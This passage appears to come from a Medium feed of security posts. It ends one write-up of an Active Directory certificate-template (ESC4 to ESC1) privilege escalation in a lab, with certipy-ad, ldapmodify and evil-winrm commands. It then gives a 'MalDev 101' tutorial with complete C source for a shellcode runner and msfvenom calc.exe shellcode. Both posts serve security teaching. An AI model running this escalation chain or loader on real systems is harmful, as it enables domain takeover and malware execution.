&quot;(sAMAccountName=svc.services)&quot; userAccountControl sAMAccountName</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mBJC0iiSzeultKm88G3kDw.png" /></figure><p>We want to pay attention to the value of the userAccountControl attribute: 66050. But what does that mean?</p><p>The userAccountControl attribute is a bitmask. A bitmask is a single integer where each bit represents a specific flag. To get the final value, the individual flag values are combined using a bitwise OR. For example, an enabled account with a non-expiring password would be 512 + 65536 = 66048.</p><p>Breaking down our current value of 66050:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*yLnOqCzo-cK_y71dgcn7fg.png" /></figure><p>512 + 2 + 65536 = 66050</p><p>The account is disabled because the ACCOUNTDISABLE flag (2) is set. To enable it we need to remove that flag while preserving the others. This will give us 66050 - 2 = 66048.</p><p><strong>NOTE:</strong> We ended up setting the userAccountControl attribute to 512 because we didn’t care about preserving the DONT_EXPIRE_PASSWORD flag.</p><p>For a full list of flags refer to the MS docs: <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/dd302fd1-0aa7-406b-ad91-2a6b35738557">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/dd302fd1-0aa7-406b-ad91-2a6b35738557</a></p><p>We’ll use ldapmodify to set the userAccountControl value to 512, effectively enabling the account:</p><pre>ldapmodify -H ldap://10.1.105.204 \\<br>  -D &quot;robert.graef@404finance.local&quot; \\<br>  -w &#39;Password123!&#39; &lt;&lt;EOF<br>dn: CN=Service Account,CN=Users,DC=404finance,DC=local<br>changetype: modify<br>replace: userAccountControl<br>userAccountControl: 512<br>EOF</pre><p>If we run our ldapsearch command again, we’ll see the new value has been set:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*ZZDTcjT7G4PosMsg4XuxpQ.png" /></figure><p>Let’s check our access with nxc:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cb5GZ28rEYdQKIP0GcKjwQ.png" /></figure><p>The account has been enabled, but the password has expired.</p><p>We can use impacket-changepasswd to set a new password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g1-2SiNMeGcQ04LCdWX_1A.png" /></figure><p>Now we’re good to go:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H7uw8uFQ_EagrzQaBZ3vFA.png" /></figure><p>We control svc.services which is the account that can both modify and enroll in the vulnerable certificate template (Vuln-ESC4) so let’s pivot back to exploiting this…</p><p>Now we’ll use the certipy-ad template command to modify the templates configuration to make it vulnerable to ESC1 - this will allow us to request a certificate as any user in the domain.</p><p>The template will be updated to match these conditions:</p><pre>Client Authentication: True<br>Enrollee Supplies Subject: True<br>Requires Management Approval: False<br>Authorized Signatures Required: 0</pre><p>We can double check if this worked by running certipy-ad find:</p><pre>certipy-ad find -u svc.services -p &#39;Password123!&#39; -dc-ip 10.1.240.64 -stdout -vulnerable</pre><p><strong>NOTE:</strong> We’re using the -vulnerable flag because we’re running the command as the user who can enroll in the template that is vulnerable. If we used the -vulnerable flag with a user that couldn’t enroll in the cert template, it wouldn’t show up in the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iSFfZS7LxJwoDCQH6Sd-DQ.png" /></figure><p>You can see that the template is now vulnerable to ESC1 in addition to ESC4. I highlighted the attributes of the template that were changed with certipy-ad.</p><p>The next step is to request a certificate as the Domain Admin:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jae3eklRqKlPYqm5HJgSwg.png" /></figure><p><strong>NOTE:</strong> We got the CA name (-ca) and DNS name (-target) of the server from the top of the certipy-ad find command output.</p><p>We can use the certificate we just got (administrator.pfx) to request a TGT / grab the NTLM hash using auth with certipy-ad:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9PjpaHPpG3pH6I9TiEZ3Pw.png" /></figure><p>Before we move on, we’ll clean up what we did and restore the certificate template back to its original state. When we originally ran the template command, it saved a copy of the cert template before modifying it to a file named Vuln-ESC4.json.</p><pre>certipy-ad template -u svc.services@404finance.local -p &#39;Password123!&#39; -template Vuln-ESC4 -dc-ip 10.1.240.64 -write-configuration Vuln-ESC4.json</pre><p>I won’t show all the output again, but running find with certipy-ad shows that the template has been restored and is now only vulnerable to ESC4.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PcTEs5AuxJTTD01BJY7D5w.png" /></figure><p>Finally, with the DA’s NTLM hash we can grab a shell on the DC with evil-winrm:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S9K4vIUml5SC0wvsYP8MhQ.png" /></figure><p>Grab the flag and we’re done!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*88-2-mITcIr1gyQjE2ypwQ.png" /></figure><p>I hope you found this writeup helpful! There’s much more to come!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e5d98a26774" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MalDev 101: Writing Your First Shellcode Runner in C]]></title>
            <link>https://medium.com/@boxalarm/maldev-101-writing-your-first-shellcode-runner-in-c-3bc861169796?source=rss-4b69d3e7f10e------2</link>
            <guid isPermaLink="false">https://medium.com/p/3bc861169796</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Keith Monroe]]></dc:creator>
            <pubDate>Mon, 02 Mar 2026 15:02:34 GMT</pubDate>
            <atom:updated>2026-03-02T15:02:34.246Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zWuLclBKzNCiEyQYdfcGhg.jpeg" /></figure><h3>Introduction</h3><p>If you’re looking to dive into the world of malware development, a great place to start is by learning how to write a simple shellcode runner.</p><p>That said, <strong>don’t skip the fundamentals</strong>. If you’re serious about this, take the time to learn C and start learning about Windows internals. While I’m going to do my best to break down these concepts, you’ll want to have this knowledge before too long (see note at the end of this post for some great resources).</p><p>Okay, so let’s dig in…</p><p>First, let’s make sure we’re on the same page with our terminology. A shellcode runner is a program designed to execute shellcode directly in memory, either in the current process (the runner itself) or injected into a remote process via a new thread. For the purposes of this post, we’ll be executing our shellcode in the current process (just because that makes things simpler).</p><p><strong>NOTE:</strong> You can think of a process as a container (or more specifically a management object). Every process contains at least one thread, a handle table, virtual address space set aside for that process, and an image file (the executable) among other things. A thread is what actually executes code (not the process).</p><p>So if a shellcode runner is designed to execute shellcode, what’s shellcode?</p><p>Shellcode is a hex (or binary) representation of machine instructions that will be directly executed by the CPU. So when we place shellcode directly in memory and point a thread at it (remember, a thread is what executes code), those instructions will be directly executed by the CPU.</p><p>One way you can generate shellcode is by writing something in Assembly and then assembling that into machine code (raw bytes). Here’s what that looks like (note: this is an overly simplistic example just to show how this works):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*51os1Hn4B1jVwKYPejHnsg.png" /></figure><p>On the left is our x64 Assembly (red box). You don’t need to understand what it’s doing but if you’re curious it’s making a direct syscall to NtOpenProcess (explaining that is beyond the scope of this post - but I will likely write another blog post about direct syscalls).</p><p>When we assemble this code using <a href="https://github.com/zodiacon/QuickAsm">Quick Assembler</a> we can see the machine code that was generated on the far right (blue box).</p><p>This would be our shellcode then — the machine instructions (in hex) that can be executed directly by the CPU:</p><pre>49 89 CA B8 26 00 00 00 0F 05 C3</pre><p>The good news is that we don’t need to write our shellcode manually like this. Later on we’ll use a tool called <a href="https://www.offsec.com/metasploit-unleashed/msfvenom/">msfvenom</a> to generate some shellcode for us.</p><p>Just know that we can write shellcode to do anything we want — from popping calc.exe to executing a C2 agent like Beacon.</p><h3>The Building Blocks of a Shellcode Runner</h3><p>So now we know what a shellcode runner is, but how do we create one?</p><p>This is where the Windows API comes into play.</p><p>Now this is an overly simplistic explanation, but the Windows API (or WinAPI) allows us to interact with the operating system through various functions. These functions allow us to create files, allocate memory, create processes and threads, and more.</p><p>The WinAPI exposes these functions through different DLLs like kernel32.dll, user32.dll, ntdll.dll, etc. For the purposes of our shellcode runner, we care about four WinAPI functions that all live within kernel32.dll:</p><ul><li><a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc">VirtualAlloc()</a></li><li><a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread">CreateThread()</a></li><li><a href="https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject">WaitForSingleObject()</a></li><li><a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualfree">VirtualFree()</a></li></ul><p>Here’s what the basic framework of a shellcode runner looks like:</p><ul><li>We’ll use VirtualAlloc to allocate a region of RWX (read / write / execute) memory inside of our shellcode runners process.</li><li>Then we’ll call memcpy (a standard C function) to copy our shellcode into our newly allocated region of memory.</li><li>Next we’ll call CreateThread to execute our shellcode (because remember, a thread is what actually executes code).</li><li>Finally, we’ll call WaitForSingleObject to wait for the thread to finish executing our shellcode before we close the handle to it. In this scenario, this really isn’t necessary but it is good practice.</li><li>We’ll also be nice by using VirtualFree to free the memory containing our shellcode so we don’t introduce any memory leaks (again, in this context it’s not necessary because that memory will be freed as soon as the process exits anyway - it’s just a good habit to get into).</li></ul><p><strong>NOTE:</strong> While we’re allocating RWX memory for our shellcode, this is a pretty bad practice.</p><p>RWX memory allocations are a big red flag to AV / EDR because it is not a common memory protection that’s used (or should I say, it’s not commonly used with legitimate processes).</p><p>What we should do is first allocate our memory with VirtualAlloc as read / write (PAGE_READWRITE). Then, after copying our shellcode into memory call VirtualProtect to change the memory protection to read / execute (PAGE_EXECUTE_READ) just before CreateThread is called to execute our shellcode.</p><p>You can see an example of that in my MalDevBasics repo: <a href="https://github.com/boxalarm/MalDevBasics/blob/main/BasicShellcodeRunner.c">https://github.com/boxalarm/MalDevBasics/blob/main/BasicShellcodeRunner.c</a></p><h3>Setting Up Our Dev Environment</h3><p>To write our code we’re going to use <a href="https://visualstudio.microsoft.com/vs/community/">Visual Studio Community Edition</a> (it’s free). As you’re going through the install process make sure you install the Desktop development with C++ workload - this will install the C/C++ runtime.</p><p>If you already have VS installed, to make sure you have this runtime installed, open the “Visual Studio Installer” and click on “Modify”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_EYjF7Zj_1UynN8jRuULOA.png" /></figure><p>Then make sure the Desktop development with C++ workload is checked (if not, select it and then click install):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_iROgXppGxUdaCgVPbB9SA.png" /></figure><p>Next, we need to create a new project. Open VS and click on “Create a new project.” Select the C++ Console App template and click “Next”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UW_2hFTf3De1xibu75pucA.png" /></figure><p>Name the project whatever you want and click “Create”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RmOQdIC3a7ERJyoQNje5Lw.png" /></figure><p>Before we start writing out code, let’s clean a few things up…</p><p>I like to start by deleting everything in the .cpp file that was created for us:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W4YIMp6OFkPc3zLD406TgQ.png" /></figure><p>Then I just rename the file to have a .c extension instead of .cpp (because we’re writing pure C code and don’t need any C++ features):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*Hne3Yuu6tw7HS-8i3ryZOw.png" /></figure><p><strong>NOTE:</strong> Renaming the file isn’t necessary — it would still compile fine with a .cpp extension, it’s just something I like to do.</p><p>Now we’re ready to start writing some code!</p><h3>Writing Your First Shellcode Runner</h3><p>We’re going to start by adding two #include statements:</p><pre>#include &lt;Windows.h&gt;<br>#include &lt;stdio.h&gt;</pre><p>These statements are used to insert (or include) the contents of another file (in this case two different header files) into our source file (SimpleShellcodeRunner.c) at compile time.</p><p>Not to get into the weeds, but when our code is compiled, the C preprocessor (the first stage of compilation) will look for the Windows.h and stdio.h files and then copy and paste their entire contents into our source file at the exact location of our #includestatement.</p><p>The Windows.h header file includes declarations and definitions for a huge number of things that we need in order to call the WinAPI from our C/C++ code. This includes declarations for functions, definitions for macros and constants, data types, structs, and a bunch more. As we write more code, we’ll dive into these header files a bit to see what they actually contain.</p><h3>VirtualAlloc()</h3><p>Inside of our main() function, the first thing we’ll do is call VirtualAlloc():</p><pre>// Allocate a region of RWX memory for shellcode<br>LPVOID buffer = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);<br>if (!buffer) {<br>	printf(&quot;[-] VirtualAlloc failed: %d\\n&quot;, GetLastError());<br>	return 1;<br>}</pre><p>LPVOID buffer declares our variable buffer to be a void pointer. A void pointer is just a generic pointer - meaning it can point to any type of data. Our buffer variable will contain the result of the call to VirtualAlloc(). What this means is that we’re expecting the call to VirtualAlloc() to return a pointer - but how do we know that?</p><p><strong>NOTE:</strong> On a 64-bit system a void pointer is 64 bits and on a 32-bit system it’s 32 bits. The reason for this is simple: a pointer is just a memory address and the size of a memory address is determined by the processors architecture (x64 vs. x86) and the address space that it supports.</p><p>If we search for “VirtualAlloc” in Google, one of the first results will be Microsoft’s own documentation explaining everything we need to know about this function: <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc">https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc</a></p><p>It starts off by explaining what this function does:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qf2uLHfnZxMzITinEoxSBg.png" /></figure><p>In short, it allocates memory inside of our own processes address space (not a remote process — we need VirtualAllocEx() for that).</p><p>Right after this, we see the function declaration:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jViAbganZGPe3lRGMzBKrQ.png" /></figure><p>Here we see that VirtualAlloc() has a return type of LPVOID (this is why we declared buffer to be of type LPVOID - because it’s going to be holding the value that VirtualAlloc returns).</p><p><strong>NOTE:</strong> LPVOID is just another name (a typedef) for void*. You’ll see LPVOID used in WinAPI documentation, but you can also use void* whenever you want to declare a generic pointer.</p><p>If you skip towards the bottom of the page, we’ll see a heading called “Return value”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8yA6-wBZBjzM6lTEGTpCEw.png" /></figure><p>This tells us more specifically that VirtualAlloc() returns the base memory address of the region of memory it allocated for us (if it succeeds).</p><p>In other words: if the call works, we get back a pointer to our new chunk of memory — exactly what we’ll need to write our shellcode into it.</p><p>Getting back to the VirtualAlloc() declaration, we also need to pay attention to the four parameters that it takes (which the docs also describe in detail).</p><pre>VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)</pre><p>The first parameter is lpAddress which is supposed to be the starting address of the memory region we want to allocate. Since we don’t care about where the memory is allocated, we just provide a value of NULL. The docs tell us what happens when we use NULL:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b6V_cbd-Lfm6i7-PvPcjpw.png" /></figure><p>The next parameter is dwSize. This is the size of the memory region we want to allocate. We set this to the size in bytes of our shellcode (using sizeof()).</p><p>The third parameter is flAllocationType. We want to both reserve and commit memory which is why we provide the constant values MEM_COMMIT | MEM_RESERVE.</p><p>Our final parameter is flProtect. This is the memory protection (or permissions) we want to set for this region of memory. We’ll set it to RWX using the constant PAGE_EXECUTE_READWRITE even though we know this isn’t the best practice.</p><p>Before we move on, I want to briefly explain where constant values like PAGE_EXECUTE_READWRITE come from. If we move over to our project in Visual Studio and place our cursor on any constant, we can then press F12 to be taken to the header file that contains the definition of that constant:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BhEF9L5hvGkbnUsF8-mvAA.png" /><figcaption>Placing our cursor on a constant in our SimpleShellcodeRunner.c file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*0m7JmxZHxQrtHD3lQihiKw.png" /><figcaption>The constants definition in winnt.h</figcaption></figure><p>We see that PAGE_EXECUTE_READWRITE is defined as the hex value 0x40. We could also supply the hex value directly as the flProtect parameter, but using the named constant like we’re doing is much easier to read and less prone to errors.</p><p>Finally, after our call to VirtualAlloc() we have a simple conditional statement that checks to see if our call failed:</p><pre>if (!buffer) {<br>	printf(&quot;[-] VirtualAlloc failed: %d\\n&quot;, GetLastError());<br>	return 1;</pre><p>If buffer is NULL (meaning the allocation failed and the pointer contains a value of 0), we print an error message that includes the specific error code from <a href="https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-getlasterror">GetLastError()</a>. Then we exit main() with a return value of 1 to indicate failure (in C, 0 means success, while any non-zero value typically means failure).</p><p>This is a really common pattern in Windows programming that you should pay attention to. It’s always a good idea to check the return value of WinAPI functions and call GetLastError() when they fail to understand why.</p><p><strong>NOTE:</strong> We know the function will return NULL if it fails because that’s what the documentation says:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tdvr4VNJ4Ojg3fQ1VMQ30g.png" /></figure><h3>memcpy()</h3><p>At this point we have a region of memory allocated for our shellcode, but we haven’t placed our shellcode there yet.</p><p>To move our shellcode to our buffer, we can use <a href="https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/memcpy-wmemcpy?view=msvc-170">memcpy()</a>:</p><pre>// Copy our shellcode into memory that we just allocated (inside of our current process)<br>memcpy(buffer, shellcode, sizeof(shellcode));</pre><p>This function is commonly used to transfer bytes from one buffer to another within the same (local) process.</p><p>Just like with VirtualAlloc(), if we want to understand this function more (including what parameters we need to pass to it), we can just look at the <a href="https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/memcpy-wmemcpy?view=msvc-170">documentation</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d1oWVwtkSmnxtl8ikGRGjw.png" /></figure><p>This one is pretty straightforward: we pass a pointer to the destination (buffer - where we want the bytes copied to - this is the memory we just allocated), pass another pointer to our source (shellcode - where we want the bytes copied from), and then the number of bytes we’re going to copy (the size in bytes of our shellcode).</p><h3>CreateThread()</h3><p>Okay, so now our shellcode has been successfully copied into our buffer. With that taken care of, we can now call CreateThread() to execute our shellcode… it’s starting to get real!</p><pre>// Create thread to run shellcode<br>HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL);<br>if (!hThread) {<br>	printf(&quot;[-] CreateThread failed: %d\\n&quot;, GetLastError());<br>	VirtualFree(buffer, 0, MEM_RELEASE); // Free memory if CreateThread fails<br>	return 1;<br>}</pre><p>We start by declaring a variable hThread with the type HANDLE. Again, when we look at the <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread">documentation</a>, we see that CreateThread() returns a HANDLE:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lA9lXra8WLGtVE_cTY_5FA.png" /></figure><p>But what’s a handle? In practice it’s really just a void pointer (in terms of its data type). If we place our cursor on HANDLEinside our file, we can use F12 again to look at its definition:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*BYKC3f55tfCxQGsNy1IwRg.png" /></figure><p>You can think of a handle as something you “hold” onto that references a resource that you want to access (like a file, process, thread, etc.). When we obtain a handle, we pass it to a WinAPI function that works with that specific resource. You’ll see later that we pass our hThread handle to both WaitForSingleObject() and CloseHandle().</p><p>Now let’s break down the parameters we need to pass to CreateThread()…</p><p>First we have lpThreadAttributes which we’ll make NULL. You can read the documentation to understand why.</p><p>Then we have dwStackSize which we set to 0 - this means that the default stack size will be used.</p><p>The third parameter is lpStartAddress and this one is important. This is the address of the function (or in our case, the shellcode) that we want the new thread to start executing. Our shellcode is raw machine code sitting at the memory address stored in buffer. By casting buffer to LPTHREAD_START_ROUTINE like this:</p><pre>(LPTHREAD_START_ROUTINE)buffer</pre><p>We’re saying: <em>“Treat the bytes at this address as the starting point (entry point) of a function that the thread should run.”</em></p><p>So when the new thread starts, the CPU will begin executing our instructions (shellcode) that we placed inside buffer.</p><p>lpParameter is our fourth parameter and we’ll make that NULL.</p><p><strong>Exercise:</strong> Try to figure out how lpParameter is connected to the third parameter (more specifically, LPTHREAD_START_ROUTINE). If you want a hint, use F12.</p><p>We’ll pass 0 as the value for the dwCreationFlags parameter which means we want the thread to run immediately after it’s created.</p><p>And finally, we’ll pass NULL to lpThreadId because we don’t care about receiving the thread ID.</p><p>After our call to CreateThread() we again have a conditional statement that checks if the call succeeded:</p><pre>if (!hThread) {<br>	printf(&quot;[-] CreateThread failed: %d\\n&quot;, GetLastError());<br>	VirtualFree(buffer, 0, MEM_RELEASE); // Free memory if CreateThread fails<br>	return 1;<br>}</pre><p>This time we added one little wrinkle. If we fail to create a thread, we call <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualfree">VirtualFree()</a> to free the memory we allocated for our shellcode. This is done as a best practice, especially in long running processes, so we don’t introduce any memory leaks. That said, it’s really not necessary here because as soon as the process exits the OS will free the memory (and the process will end up exiting on the next line when we return 1 and exit main()).</p><h3>WaitForSingleObject()</h3><pre>// Wait for thread to finish<br>	WaitForSingleObject(hThread, INFINITE);</pre><p>We’re using <a href="https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject">WaitForSingleObject()</a> here to wait an INFINITE amount of time for the thread to finish executing our shellcode before the rest of our code is executed. Instead of using INFINITE, we could pass in a value like 2000 which would only wait 2000 ms before continuing execution (whether or not our shellcode finished executing or not).</p><p>And finally, to tidy things up we call <a href="https://learn.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle">CloseHandle()</a> to close the handle we opened for our thread:</p><pre>CloseHandle(hThread);</pre><h3>We’re Almost There!</h3><p>At this point, our shellcode runner is almost ready to go. The only thing we’re missing is our shellcode (which I guess is pretty important). Here’s a quick look at our code at this point:</p><pre>#include &lt;Windows.h&gt;<br>#include &lt;stdio.h&gt;<br><br>int main() {<br> printf(&quot;[+] Allocating memory for our shellcode...\n&quot;);<br><br> // Allocate a region of RWX memory for shellcode<br> LPVOID buffer = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);<br> if (!buffer) {<br>  printf(&quot;[-] VirtualAlloc failed: %d\n&quot;, GetLastError());<br>  return 1;<br> }<br><br> // Copy our shellcode into memory that we just allocated (inside of our current process)<br> memcpy(buffer, shellcode, sizeof(shellcode));<br><br> printf(&quot;[+] Executing shellcode...\n&quot;);<br><br> // Create thread to run shellcode<br> HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL);<br> if (!hThread) {<br>  printf(&quot;[-] CreateThread failed: %d\n&quot;, GetLastError());<br>  VirtualFree(buffer, 0, MEM_RELEASE); // Free memory if CreateThread fails<br>  return 1;<br> }<br><br> // Wait for thread to finish<br> WaitForSingleObject(hThread, INFINITE);<br> CloseHandle(hThread);<br><br> // Clean up by freeing the memory we allocated for our shellcode<br> VirtualFree(buffer, 0, MEM_RELEASE);<br><br> printf(&quot;[+] Done.\n&quot;);<br> return 0;<br>}</pre><h3>Generating Shellcode with Msfvenom</h3><p>To generate our shellcode, we’re going to use msfvenom from the Metasploit Framework. And because we want to keep things simple, all we want is for our shellcode to spawn calc.exe:</p><pre>msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f c</pre><ul><li>-p windows/x64/exec specifies the payload type</li><li>CMD=calc.exe tells the payload what command to run - in this case, just spawning calc.exe.</li><li>EXITFUNC=thread is important: it tells the payload to exit the <em>thread</em> it’s running in (via ExitThread) instead of calling ExitProcess (which would kill our entire process). This keeps our shellcode runner’s process alive after calc.exe is spawned. <strong>Stick around to the end to see what would happen if we didn’t do this.</strong></li><li>-f c outputs our shellcode as a C-style byte array</li></ul><p>If you’re curious, behind the scenes the exec payload with msfvenom calls WinExec() which in turn spawns cmd.exe /c calc.exeto execute our desired payload.</p><p>Here’s the output of the command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JeMvFRhnoOcAeXh_zUYwuQ.png" /></figure><p>We’ll copy the byte array (starting with unsigned char and ending with the semicolon) and paste it into our code above the main() function.</p><p>Make sure to change the name of the array from buf to shellcode (because that’s the name we used in our code).</p><p>When we declare a variable outside of any function (like we’re doing here with our shellcode array), it becomes a <em>global</em>variable. This is important to understand because the placement of our shellcode within our code determines where our shellcode lives within our executable (and this has implications for both malware execution and detection).</p><p>I’d love to go into more detail about this, but it would require another blog post to do it justice. If you want to do some of your own research, look into the Portable Executable (PE) format. In this case, because we’re storing our shellcode in a global variable, it will live in the .data section of our PE.</p><p>So now, with the addition of our shellcode, our shellcode runner is complete!</p><pre>#include &lt;Windows.h&gt;<br>#include &lt;stdio.h&gt;<br><br>// Generate shellcode with: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f c<br>unsigned char shellcode[] =<br>&quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50&quot;<br>&quot;\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52&quot;<br>&quot;\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a&quot;<br>&quot;\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41&quot;<br>&quot;\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52&quot;<br>&quot;\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48&quot;<br>&quot;\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40&quot;<br>&quot;\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48&quot;<br>&quot;\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41&quot;<br>&quot;\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1&quot;<br>&quot;\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c&quot;<br>&quot;\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01&quot;<br>&quot;\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a&quot;<br>&quot;\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b&quot;<br>&quot;\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00&quot;<br>&quot;\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b&quot;<br>&quot;\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd&quot;<br>&quot;\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0&quot;<br>&quot;\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff&quot;<br>&quot;\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00&quot;;<br><br>int main() {<br> printf(&quot;[+] Allocating memory for our shellcode...\n&quot;);<br><br> // Allocate a region of RWX memory for shellcode<br> LPVOID buffer = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);<br> if (!buffer) {<br>  printf(&quot;[-] VirtualAlloc failed: %d\n&quot;, GetLastError());<br>  return 1;<br> }<br><br> // Copy our shellcode into memory that we just allocated (inside of our current process)<br> memcpy(buffer, shellcode, sizeof(shellcode));<br><br> printf(&quot;[+] Executing shellcode...\n&quot;);<br><br> // Create thread to run shellcode<br> HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL);<br> if (!hThread) {<br>  printf(&quot;[-] CreateThread failed: %d\n&quot;, GetLastError());<br>  VirtualFree(buffer, 0, MEM_RELEASE); // Free memory if CreateThread fails<br>  return 1;<br> }<br><br> // Wait for thread to finish<br> WaitForSingleObject(hThread, INFINITE);<br> CloseHandle(hThread);<br><br> // Clean up by freeing the memory we allocated for our shellcode<br> VirtualFree(buffer, 0, MEM_RELEASE);<br><br> printf(&quot;[+] Done.\n&quot;);<br> return 0;<br>}</pre><h3>Compiling Our Code</h3><p>Our code is finished, but before it can do anything we have to compile it.</p><p>Inside of our Visual Studio project make sure the configuration and platform dropdowns are set to Debug and x64, respectively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5lTaYmvMckFQZYENVwFz2A.png" /></figure><p><strong>NOTE:</strong> I’m making an assumption that you’re on a 64-bit system. If you’re on a 32-bit system then change the platform dropdown to x86.</p><p>To build (compile) our project, you can either press the hollow green play button (highlighted above) or press Ctrl-Shift-B(on Windows). Either one works.</p><p>The hollow play button is called “Start without debugging” — this will both build and <em>run</em> our program. If we press this button and our project hasn’t been changed, then it won’t rebuild it, it will just run the program. This is generally easier to use when we’re testing.</p><p>If we build with Ctrl-Shift-B our project will be compiled but <em>not</em> run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OAv8wuMtcEsUc59bhJDylQ.png" /></figure><p>Once we build it, we can then navigate to the directory where our executable was created and run it manually (either via the command line or double-clicking it in file 